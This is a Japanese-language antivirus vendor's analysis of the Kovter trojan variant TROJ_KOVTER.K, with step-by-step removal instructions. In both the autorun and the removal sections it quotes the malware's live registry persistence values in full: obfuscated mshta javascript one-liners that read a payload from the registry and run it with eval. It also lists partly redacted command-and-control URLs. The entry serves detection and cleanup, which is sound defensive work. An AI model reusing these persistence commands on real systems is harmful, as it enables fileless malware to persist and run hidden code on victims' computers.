TROJ_KOVTER.K

2016年1月27日

解析者: Janus Agcaoili

別名:

Trojan:Win32/Kovter (Microsoft), Trojan/Win32.Kovter (AhnLab-V3)

プラットフォーム:

Windows

危険度:

ダメージ度:

感染力:

感染確認数:

情報漏えい:

マルウェアタイプ: トロイの木馬型
破壊活動の有無: なし
暗号化: はい
感染報告の有無: はい

概要

感染経路他のマルウェアからの作成, インターネットからのダウンロード

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。マルウェアは、リモートサイトから他の不正プログラムにダウンロードされ、コンピュータに侵入します。

マルウェアは、実行後、自身を削除します。

マルウェアは、ワーム活動の機能を備えていません。

マルウェアは、バックドア活動の機能を備えていません。

マルウェアは、Internet Explorer（IE）のゾーン設定を変更します。

マルウェアは、特定のWebサイトにアクセスし、情報を送受信します。

詳細

ファイルサイズ 304,859 bytes

タイプ EXE

メモリ常駐はい

発見日 2016年1月24日

ペイロード URLまたはIPアドレスに接続

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、リモートサイトから以下の不正プログラムによりダウンロードされ、コンピュータに侵入します。

JS_NEMUCOD.KXYZ

インストール

マルウェアは、以下のプロセスを追加します。

regsvr32.exe

マルウェアは、実行後、自身を削除します。

マルウェアは、以下のプロセスにコードを組み込みます。

regsvr32.exe

自動実行方法

マルウェアは、自身のコピーがWindows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
{Null} = "mshta javascript:xEuBDnt4Y="cbeK7SeMv";H1U=new%20ActiveXObject("WScript.Shell");O3kk5zxq="EJjXJB";BrZd1=H1U.RegRead("HKLM\software\6f77bb644b\5d4b99eb");rUM5dv2zhV="LxR5";eval(BrZd1);Y3DfRzTY="frzyG0q0g";;"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
Explorer\Run
{Null} = "mshta javascript:cZYSi0BI="CC8cBR1W";z02M=new%20ActiveXObject("WScript.Shell");qgiy1yyU6J="rpl0TMB3Aj";OSSs3=z02M.RegRead("HKLM\software\6f77bb644b\5d4b99eb");rQpsj7BaI7="8IxX6teyY";eval(OSSs3);svmX9Zn5="rg31WxpuDz";;"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
{Null} = "mshta javascript:BPWvd6xb="Go";Q1z=new%20ActiveXObject("WScript.Shell");xiJ6yyeV="jv7x1kl";k3DnE6=Q1z.RegRead("HKCU\software\6f77bb644b\5d4b99eb");kF78bbaONu="RUrLKyq";eval(k3DnE6);cOJnBIyt1="dNA5ccB";;"

他のシステム変更

マルウェアは、インストールの過程で以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SOFTWARE\{Random Hex Value 1}
{Random Hex Value 2} = "{Random Hex Value 2}"

HKEY_LOCAL_MACHINE\SOFTWARE\{Random String}

HKEY_LOCAL_MACHINE\SOFTWARE\{Hex Value 1}
{Hex Value 2} = "{3 Random Number}"

HKEY_CURRENT_USER\Software\{Hex Value 1}
{Hex Value 2} = "{3 Random Number}"

HKEY_LOCAL_MACHINE\SOFTWARE\{Hex Value 1}
{Hex Value 3} = "{16 Hex Numbers}"

HKEY_CURRENT_USER\Software\{Hex Value 1}
{Hex Value 3} = "{16 Hex Numbers}"

HKEY_LOCAL_MACHINE\SOFTWARE\{Hex Value 1}
{Hex Value 4} = "{10 random number}"

HKEY_CURRENT_USER\Software\{Hex Value 1}
{Hex Value 4} = "{10 Random Number}"

HKEY_LOCAL_MACHINE\SOFTWARE\{Hex Value 1}
{Hex Value 5} = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2);"

HKEY_CURRENT_USER\Software\{Hex Value 1}
{Hex Value 5} = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2);"

HKEY_LOCAL_MACHINE\SOFWARE\POLICIES\
Microsoft\Windows\WindowsUpdate
DisableOSUpgrade = "1"

HKEY_LOCAL_MACHINE\SOFWARE\POLICIES\
Microsoft\Windows\WindowsUpdate\
OSUpgrade
ReservationsAllowed = "0"

感染活動

マルウェアは、ワーム活動の機能を備えていません。

バックドア活動

マルウェアは、バックドア活動の機能を備えていません。

Webブラウザのホームページおよび検索ページの変更

マルウェアは、IEのゾーン設定を変更します。

その他

マルウェアは、以下のWebサイトにアクセスし、情報を送受信します。

http://{BLOCKED}.{BLOCKED}.69.66/upload.php - inaccessible
http://{BLOCKED}.{BLOCKED}.144.46/ - used for click-fraud activity

対応方法

対応検索エンジン: 9.800

初回 VSAPI パターンバージョン 12.294.06

初回 VSAPI パターンリリース日 2016年1月24日

VSAPI OPR パターンバージョン 12.295.00

VSAPI OPR パターンリリース日 2016年1月25日

手順 1

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム（OS）の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル／フォルダ／レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 2

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 3

Windowsをセーフモードで再起動します。

[ 詳細 ]

セーフモードでの起動：

• Windows 2000 の場合：

コンピュータを起動させます。
「Windows **** を起動しています・・・」のメッセージが表示されている間に［F8］を押します。
「Windows 拡張オプションメニュー」が表示されるので、［↓］［↑］キーを使って［セーフモード］を選択し、［Enter］を押します。

• Windows XP の場合：

コンピュータを起動させます。
「Windows **** を起動しています・・・」のメッセージが表示されている間に［F8］を押します。
「Windows 拡張オプションメニュー」が表示されるので、［↓］［↑］キーを使って［セーフモード］を選択し、［Enter］を押します。

• Windows Server 2003 の場合：

コンピュータを起動させます。
「Windows **** を起動しています・・・」のメッセージが表示されている間に［F8］を押します。
「Windows 拡張オプションメニュー」が表示されるので、［↓］［↑］キーを使って［セーフモード］を選択し、［Enter］を押します。

• Windows Vista、Windows 7 および Windows Server 2008 の場合：

コンピュータを起動させます。
「Windows **** を起動しています・・・」のメッセージが表示されている間に［F8］を押します。
「詳細ブートオプション」が表示されるので、［↓］［↑］キーを使って［セーフモード］を選択し、［Enter］を押します。

• Windows 8、8.1 および Server 2012の場合：

画面の右上隅へマウスポインタを移動し、[チャーム]バーを表示します。
マウスで、[設定]－[PC設定の変更]を選択します。
左側のパネルで、[全般]を選択します。
右側のパネルで、[PCの起動をカスタマイズする]が表示されるまで下にスクロールし、[今すぐ再起動]をクリック。コンピュータが再起動するまで待ちます。
[オプションの選択]メニューで、[トラブルシューティング]－[詳細オプション]－[スタートアップ設定]－[再起動]をクリックします。
[スタートアップ設定]メニューで、[4]キーを押し、「4）セーフモードを有効にする」を選択します。

手順 4

このレジストリ値を削除します。

[ 詳細 ]

警告：レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。

In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- {Null} = "mshta javascript:xEuBDnt4Y="cbeK7SeMv";H1U=new%20ActiveXObject("WScript.Shell");O3kk5zxq="EJjXJB";BrZd1=H1U.RegRead("HKLM\software\6f77bb644b\5d4b99eb");rUM5dv2zhV="LxR5";eval(BrZd1);Y3DfRzTY="frzyG0q0g";;"
In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- {Null} = "mshta javascript:cZYSi0BI="CC8cBR1W";z02M=new%20ActiveXObject("WScript.Shell");qgiy1yyU6J="rpl0TMB3Aj";OSSs3=z02M.RegRead("HKLM\software\6f77bb644b\5d4b99eb");rQpsj7BaI7="8IxX6teyY";eval(OSSs3);svmX9Zn5="rg31WxpuDz";;"
In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- {Null} = "mshta javascript:BPWvd6xb="Go";Q1z=new%20ActiveXObject("WScript.Shell");xiJ6yyeV="jv7x1kl";k3DnE6=Q1z.RegRead("HKCU\software\6f77bb644b\5d4b99eb");kF78bbaONu="RUrLKyq";eval(k3DnE6);cOJnBIyt1="dNA5ccB";;"

このマルウェアが追加したレジストリ値の削除：

「レジストリエディタ」を起動します。
- Windows 2000、XP および Server 2003 の場合：
  [スタート]-[ファイル名を指定して実行]を選択し、regedit と入力し、Enter を押します。
- Windows Vista、7 および Server 2008 の場合：
  [スタート]をクリックし、検索入力欄に regedit と入力し、Enter を押します。
- Windows 8、8.1 および Server 2012 の場合：
  画面の左下隅を右クリックし、[ファイル名を指定して実行]を選択します。入力ボックスに regedit と入力し、Enter を押します。
※regedit は半角英数字で入力する必要があります（大文字／小文字は区別されません）。
「レジストリエディタ」の左側のパネルにある以下のフォルダをダブルクリックします。
HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows>CurrentVersion>Run
右側のパネルで以下のレジストリ値を検索し、削除します。
{Null} = "mshta javascript:xEuBDnt4Y="cbeK7SeMv";H1U=new%20ActiveXObject("WScript.Shell");O3kk5zxq="EJjXJB";BrZd1=H1U.RegRead("HKLM\software\6f77bb644b\5d4b99eb");rUM5dv2zhV="LxR5";eval(BrZd1);Y3DfRzTY="frzyG0q0g";;"
「レジストリエディタ」の左側のパネルにある以下のフォルダをダブルクリックします。
HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows>CurrentVersion>Policies>Explorer>Run
右側のパネルで以下のレジストリ値を検索し、削除します。
{Null} = "mshta javascript:cZYSi0BI="CC8cBR1W";z02M=new%20ActiveXObject("WScript.Shell");qgiy1yyU6J="rpl0TMB3Aj";OSSs3=z02M.RegRead("HKLM\software\6f77bb644b\5d4b99eb");rQpsj7BaI7="8IxX6teyY";eval(OSSs3);svmX9Zn5="rg31WxpuDz";;"
「レジストリエディタ」の左側のパネルにある以下のフォルダをダブルクリックします。
HKEY_CURRENT_USER>Software>Microsoft>Windows>CurrentVersion>Run
右側のパネルで以下のレジストリ値を検索し、削除します。
{Null} = "mshta javascript:BPWvd6xb="Go";Q1z=new%20ActiveXObject("WScript.Shell");xiJ6yyeV="jv7x1kl";k3DnE6=Q1z.RegRead("HKCU\software\6f77bb644b\5d4b99eb");kF78bbaONu="RUrLKyq";eval(k3DnE6);cOJnBIyt1="dNA5ccB";;"
「レジストリエディタ」を閉じます。

手順 5

このレジストリキーを削除します。

[ 詳細 ]

In HKEY_LOCAL_MACHINE\SOFTWARE
- {Random Hex Value 1}
In HKEY_LOCAL_MACHINE\SOFTWARE
- {Random String}
In HKEY_LOCAL_MACHINE\SOFTWARE
- {Hex Value 1}
In HKEY_CURRENT_USER\Software
- {Hex Value 1}

手順 6

「TROJ_KOVTER.K」を作成またはダウンロードする不正なファイルを削除します。（註：以下のマルウェアもしくはアドウェア等がすでに削除されている場合は、本手順は行う必要はありません。）

JS_NEMUCOD.KXYZ

手順 7

コンピュータを通常モードで再起動し、最新のバージョン（エンジン、パターンファイル）を導入したウイルス対策製品を用い、「TROJ_KOVTER.K」と検出したファイルの検索を実行してください。検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。

手順 8

Internet Explorer（IE）のセキュリティ設定を修正します。

[ 詳細 ]

手順 9

最新のバージョン（エンジン、パターンファイル）を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「TROJ_KOVTER.K」と検出したファイルはすべて削除してください。検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。

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